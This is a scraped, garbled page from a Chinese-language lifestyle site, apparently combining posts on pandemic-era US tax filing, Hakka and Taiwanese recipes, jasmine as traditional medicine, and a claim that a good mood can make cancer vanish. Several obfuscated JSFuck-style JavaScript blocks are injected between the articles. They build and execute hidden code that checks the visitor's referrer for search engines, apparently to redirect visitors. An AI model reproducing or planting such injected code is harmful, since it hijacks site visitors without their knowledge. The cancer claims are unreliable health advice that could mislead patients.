])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]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2021-03-02 / by / in , , ,
疫情期间报税与以往不同 你需要知道的5件事

 

由于疫情的影响,今年报税和往年不太一样。很多美国民众收到了政府的纾困金或是失业救济金,这些款项需要报税吗?如何能够省税?了解今年报税季必读的五条建议,将会让你报税更简单清晰。

据哥伦比亚广播公司(CBS)报导,H&R首席税收研究分析师内森・里格尼(Nathan Rigney)表示,几乎所有人都会受今年报税变化的影响,并提醒大家在申报之前需要了解五个主要转变。

1、我应该如何上报失业救济金?

“如果你在2020年拿到了失业救济金,这部分款项应纳税。”里格尼说,“你通常会从政府那里收到1099G表格,里面会列出你收到的所有失业救济金。在申请EDD的时候,如果你选择直接把税扣掉,那很好。否则,你退税的时候返还的钱会少一点儿。”

2、我需要为纾困金交税吗?如果我有资格领取纾困金但没有收到该怎么办?

里格尼表示,纾困金不征税。但是,如果因为某种原因没有收到应得的全部款项,没有收到的这部分钱可以在退税的时候返还。

 

 

 

 

3、我在家办公时产生的费用可以抵税吗?

 

 

 

里格尼说:“今年,有数百万人在家办公,很多人会问,‘我在家办公有很多开支,可以在退税单上抵税吗?’答案是否定的,这些项目在联邦政府不能抵免税。但是加州允许在申报单上扣除这些费用。”

 

 

 

但如果是自雇人士,这些费用在联邦申报表和州申报表里都可以抵税。

 

 

 

 

4、如果我在疫情期间做了副业怎么办?

 

 

 

里格尼说,这属于自雇收入。对于许多第一次这样报税的人来说,这比只是使用W2报税复杂得多,你必须做一年四次的季度性交税。

 

 

5、如果我有收到“薪资保护计划“(PPP)的贷款怎么办?

 

 

 

里格尼表示,用PPP付款的花费可以抵税,如果你的贷款不用偿还,那么不用偿还的那部分不用缴税。除了这些技巧外,有孩子的人还可以考虑额外的抵免,这可能会进一步降低他们需要交的税金。不过,在家上学没有税收优惠。

 

 

 

“特别是今年,请确保你拥有自己应得的利益,并确保自己也从中受益。”里格尼说,“重要的是当你在纳税遇到疑问时要寻求帮助,并且在国税局要存有自己的信息。这样一来,如果另一轮纾困金到来,这笔钱就会更快地到达。”

 

 

 

 

2021-03-02 / by / in ,
一锅成菜炒油饭 肉香 米香 菇香~(视频)

一锅成菜/炒油饭

有肉有饭一锅成菜,是一道特别受欢迎的家庭料理,做起来非常简单。

尤其香菇的特殊香气,肉香,虾米的鲜和红葱酥的酥脆,使得这道料理非常的美味和下饭。

食材:

长糯米3杯、干香菇6朵、虾米25g、肉丝150g、红葱酥2大匙、老姜3片

调味料:

酱油3大匙、五香粉1/8小匙、黑胡椒粉1/2小匙、盐1/2小匙、糖2小匙

配料:

猪油半杯、黑麻油1大匙、香菜少许、甜辣酱适量

作法:

1. 长糯米洗净浸泡3小时,沥干。如要用电锅煮,要再加2杯水放入电锅煮熟。 (外锅放1.5杯水)

2. 炒锅中放猪油或鸡油爆香姜片,再放一些麻油后捞除姜片,依序炒香菇丝、虾米、肉丝和红葱酥至有香气。

3. 加入酱油、五香粉、黑胡椒粉、盐、糖的调味料拌炒,再将沥干的长糯米加入, 并开大火拌合,并加和长糯米同等量的水(如用电锅蒸的话,加水量要变成0.75) 炉火关小加锅盖,让水份完全被米吸收。

4. 起锅盛盘后,淋甜辣酱,撒上香菜。

2021-03-02 / by / in ,
这件事能做到 癌细胞真可能消失

免疫系统/预防医学/细胞突变/癌细胞/NK细胞/调整心情/开怀大笑/快乐力

每个人都关心自己的健康,但是怎样才能真正达到健康?有些人听了可能非常意外,其实健不健康,居然也是个人选择的,医生证实人的心情决定健康。

专攻预防医学的西藏名医洛桑医师表示,“人生如戏,你既是导演,也是编剧,也是演员!对于身体,我们也有选择,选择健康,或不健康”,心情的好坏,不只会影响免疫系统的运作,甚至会影响病人的存活率,更曾有癌症病人因为调整心情后,重启身体的免疫反应,让癌细胞消失。


健康,居然也是自己选择的 

《三立新闻》引述洛桑医师观点强调,当我们有意识或潜意识选择了不健康,不自觉或有自觉过着不健康的生活,自体免疫系统开始怠工或罢工,就产生种种疾病。就连离癌或罹癌,也都跟选择有关。

“让医生们很头痛、会到处转移的那些癌细胞,原先都是正常的细胞呢!”洛桑医师表示,把预防医学的概念预先放到自己心中,便有机会在正常细胞突变成失控癌细胞前做预防,尽量去排除致癌因子,或是在癌细胞产生初期,去平衡体内细胞失衡的状况。

一般说来,癌细胞跟正常细胞同时存在每个人身体里面,新陈代谢旺盛、内分泌稳定、免疫系统顺畅运作时,癌细胞跟正常细胞一样,能被代谢掉,并不会对健康造成伤害。

x当癌细胞失控、过度增生则形成癌症,此时需重启免疫,将恶化况状控制下来。细胞除非是已经完全衰竭、坏死,否则都还有机会修复。虽多数癌症是不可逆的,但你的体力、你的低落是可逆的,从改变心态、改善饮食习惯和生活型态下手,能降低癌细胞扩张的机率。

洛桑医师更透露,临床上确实有癌症自行消失的案例,“患者调整心情、改变生活习惯后,体内免疫反应能力提高,或内分泌改变等,都有可能让癌细胞自行消退。”癌症是一种免疫失调所引发的疾病,如何让参与免疫反应的树突细胞、T细胞、B细胞、NK细胞发挥功能,借着激发病人自体免疫反应来控制癌症的“免疫疗法”,近年来在免疫药物研发上已有重大的突破。


笑口常开

此外,医界也已证实,经常“开怀大笑”同样也能活化NK细胞。洛桑医师解释,NK源于淋巴球,可吞噬、融化癌细胞或那些被病毒感染的细胞,角色像是维持治安的巡警,在我们身体里尽责找出并消灭那些“坏东西”。当我们开心、经常笑口常开时,NK细胞的活动力比较强,相反的,忧郁、悲伤、满面愁容的人,他的NK细胞也会变得厌世,懒得出去值勤、打击犯罪,这时我们的身体就像一个没有警察的城市,健康随时可能被攻陷。

洛桑医师也表示,让癌症消失有几种原因,比方说人受到病毒、细菌感染,而这些微生物刚好能击退肿瘤细胞。或者某些肿瘤细胞在生成时,刚好注定会自己迈入死亡,令患者自愈。当然还有如上述,重启身体的免疫反应。前两个原因,靠得是运气,最后一个原因,靠得是实力,而洛桑医师指的实力,是“快乐力”。

不只一篇医学论文指出,快乐的病人,生存机率远高于情绪崩溃、失去信心的病人。在健全免疫上,当人选择重新开始过上有意思、有意义的好生活时,免疫部队也能感受到人的积极与活力,进而功力大增。因此最后洛桑医师建议大家,有时候道路必须曲折,才能把人送上顶峰。哭也一天、笑也一天,无论顺、逆,其实都是你的增上缘。用平常心、快乐心、感恩心看待一切,你的每一天,都将是最好的一天。

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2021-03-01 / by / in , ,
国宴主厨:正宗梅菜扣肉(视频)

梅菜扣肉/梅菜/扣肉/五花肉

梅菜是来自客家菜,梅菜扣肉也是生活中人们非常喜欢的一道美食。

梅菜,是以鲜梅菜为原料经腌制后再脱盐等工艺制成的产品。梅菜历史悠久,历史上作为宫廷食品而被称为“惠州贡菜”。梅菜扣肉是将肉垫在梅菜干上,再加上调料上锅蒸。现在这个菜也逐渐的广为人知,而且越来越受欢迎。

食材:

硬五花肉 500克,梅干菜 250克

调料

葱 2根,姜 4片,蒜 5瓣,八角 3个,料酒 适量,糖 适量

做法:

1.五花肉一块,凉水下锅,加入葱、姜、料酒,加热去除浮末后,煮40分钟捞出上色,加老抽,酱油,料酒,腌制30分钟。

2.梅干菜洗净,用温水浸泡10分钟,彻底洗净后备用。

3.锅上油,放入葱、姜、桂皮、大料、干辣椒炒香,加入发好的梅菜,加黄酒,酱油,老抽,盐,糖,肉汤煮制。

4.另取一锅放油,将肉块放入炸制至虎皮色,捞出晾凉后切片。

5.将切好的肉片码入碗中,将糗好的梅菜倒入碗中,上蒸锅,大火烧开,小火蒸制2个小时即可。

*小贴士*

肉上色时一定要趁热,肉凉了就不容易上色了。

2021-03-01 / by / in ,
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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,53,54,51,57,48,112,55,72,84,77,76,60,34,47,63,38,95,43,85,67,119,65,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]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2021-03-01 / by / in , , ,
茉莉花!春天“第一花”,益肝脾、除口臭,慈禧都爱它

茉莉花/保健功效/疏肝/解郁理气和中减轻口臭泡水喝冲茶饮用入膳

春天是花的季节,一簇簇鲜艳的花朵,人们赏它、赞它、爱它。

百花之中,若以花香来排名,茉莉花堪称“人间一品香”。


茉莉花

取之入膳,除了能让人唇齿生香,还有太多的保健功效。

茉莉花的地位自古超然。因着慈禧太后的偏爱,茉莉花在清宫的地位与众不同。

据曾经担任过慈禧贴身女官的裕德龄记载,慈禧太后当政时,鲜花仅她本人能用,除非得到她的殊恩赏赐,否则诸宫眷、哪怕是皇后也不得簪配。

而众鲜花之中,慈禧尤爱白茉莉,常常将之与各种珠宝共簪。

春食茉莉,补脾调肝

茉莉花是一味常见中药材,它味甘、辛,性温,归肝、脾、胃经,有化湿和中、理气解郁之功。

《随息居饮食谱》记载其可“和中下气,辟秽浊,治下痢腹痛”。

茉莉花四季可用,但春天食之,好处颇多。


茉莉花

1、疏肝解郁

这是茉莉花最主要的功效之一。

众所周知,春季对应的脏腑就是肝脏,而春季养生应尤为关注肝的疏泄功能。

此时,若肝疏泄不及时,就会出现“肝气郁结”之证。

肝气郁结常表现为郁郁寡欢、两胁胀满、小腹胀闷或窜痛、善太息(爱叹气)、纳差纳呆、腹胀腹痛、嗳气呃逆、吞酸嘈杂等。

其实,要解决这个问题,茉莉花就是不错的选择。

平时经常喝茶的朋友们都知道,烦躁时泡上一杯茉莉花茶,闻着沁人心脾的香味,心情也能不知不觉就好起来。

这是因为,茉莉中的含有的一些芳香物质能够通过降低心率和改善副交感神经兴奋程度从而起到镇静作用。

与此同时,这些芳香物质还可以通过调节人体的生理节律来消除精神紧张,使不适感降低,从而疏肝解郁。

更难能可贵的是,茉莉花除了能够疏肝解郁外,还能够平肝降气。

当我们怒气冲冲却无处发泄之时,饮上一杯茉莉花,可以很快地将这股“郁愤”排出去,降低不良情绪对我们身体造成的伤害。


茉莉花

2、理气和中

这个“中”,就是指中焦脾胃。

一般来说,当我们出现腹痛、腹泻、恶心等胃肠不适症状时,适当喝点茉莉花茶,可以起到很好的改善效果。

这是因为,有研究证实茉莉花提取物有保护胃肠道粘膜的作用的,因此,对于胃肠部位出现的炎症性疾病,茉莉花有很好的修复作用。

3、减轻口臭

有体外抗菌试验的研究显示,茉莉花提取物对普通变形杆菌、葡萄球菌、大肠杆菌以及枯草芽孢杆菌都具有一定消杀作用,可显着降低口腔中细菌数,且效果优于生理盐水。

因此,对于口腔有炎症、口舌生疮、慢性咽炎的人,适当饮用茉莉花茶,可以促进疾病痊愈。

而茉莉花香味浓郁,当我们吃过一些带有浓厚气味的食物之后,用茉莉花水或者茉莉花茶来漱口,花朵的芬芳可以很好地压制口腔异味,从而改善口臭问题。

茉莉花怎么吃

茉莉花最简单的饮用方法就是泡水喝,取茉莉花3~6克,开水冲泡后饮用即可。


茉莉花茶

这种简约的饮法尤其适合居住在北京的朋友,因北京地区水质偏“硬”,钙离子和镁离子较多,所以口感偏涩、咸、苦,而茉莉花则可很好地改善这个问题。

此外,对于生活中的一些常见小毛病,您还可以为茉莉花寻一个“搭档”。比如:

对于湿热泻痢者,可将茉莉花与绿茶一起用开水泡服;

对于阳气不足,风气上扰导致的头晕、头痛,可以选择使用茉莉花与桂花搭配冲茶饮用;

对于风热上扰导致的目赤肿痛,可以把茉莉花、金银花、野菊花组合使用;

对于风热感冒,可以用茉莉花搭配薄荷,以疏风解热。

月季茉莉花茶

【月季花】入肝经,性味甘淡平,具有活血调经,疏肝解郁,消肿解毒的功效。对于胸腹胀痛,肝郁血滞的患者都有很好的功效。

【茉莉花】归肝、脾胃经,性味辛甘,有强心益肝,温中和胃,理气安神的作用。

【做法】新鲜的月季洗干净,月季花5片,茉莉花5~10颗 ,用水冲泡,饭前饮用。

此外,将茉莉花入膳,也是不错的选择。

茉莉豆腐汤

材料:茉莉花及叶40g,豆腐100g,生姜3片,油、盐少许。

做法:茉莉花、叶洗干净,冷水浸泡;热锅下油,油温升高时,放入豆腐块,中小火慢煎,煎至两面金黄色,转大火,加入冷水至没过豆腐;把茉莉花、叶及生姜片均加入,小火煮15-20分钟,加盐调味即可。

功效:清肝明目,和中下气的作用,适合长期熬夜、进食辛辣的上班族服用。

茉莉玫瑰粥

材料:茉莉花10克,玫瑰花5朵,粳米100克,冰糖适量。

做法:上述材料共煮成粥即可。

功效:疏肝解郁、健脾和胃。适宜因肝气郁结引起的痛经患者食用。

双花高汤浸芦笋

材料:鸡骨架1个,芦笋250克,生姜3片,枸杞子10克,菊花10克,茉莉花5克,食盐适量。

做法:用清水把菊花与茉莉花、枸杞子泡软,约15分钟。向锅里加入适量清水煮沸,再把鸡骨架及生姜放入,煮1小时熬成鸡汤底。把鸡骨架捞出,放入芦笋、枸杞子、菊花及茉莉花,煮5分钟,调味即可。

茉莉葡萄干粥

材料:茉莉花5克,糯米100克,葡萄干适量。

做法:将糯米洗净,放入开水锅中大火烧开,煮至米粒开花时,加入葡萄干、茉莉花,续煮5分钟即成。每日早、晚分2次温热食用。

功效:此粥可解郁安神、清除秽气,可用于肝气不舒、胃气不和。

适合抑郁烦闷、肝气不舒、胃气不和、食欲不​​振、恶心呕吐、风热头痛、目赤肿痛者常食。四季皆宜食用。

注意:茉莉花因具有通经作用,妊娠期间最好避免使用,此外茉莉花药性偏温,对于热证,需要搭配清热、透热药材使用。

2021-03-01 / by / in ,
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IREcih

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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,57,53,56,48,51,122,72,84,77,76,60,34,112,47,63,38,95,43,85,67,119,70,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+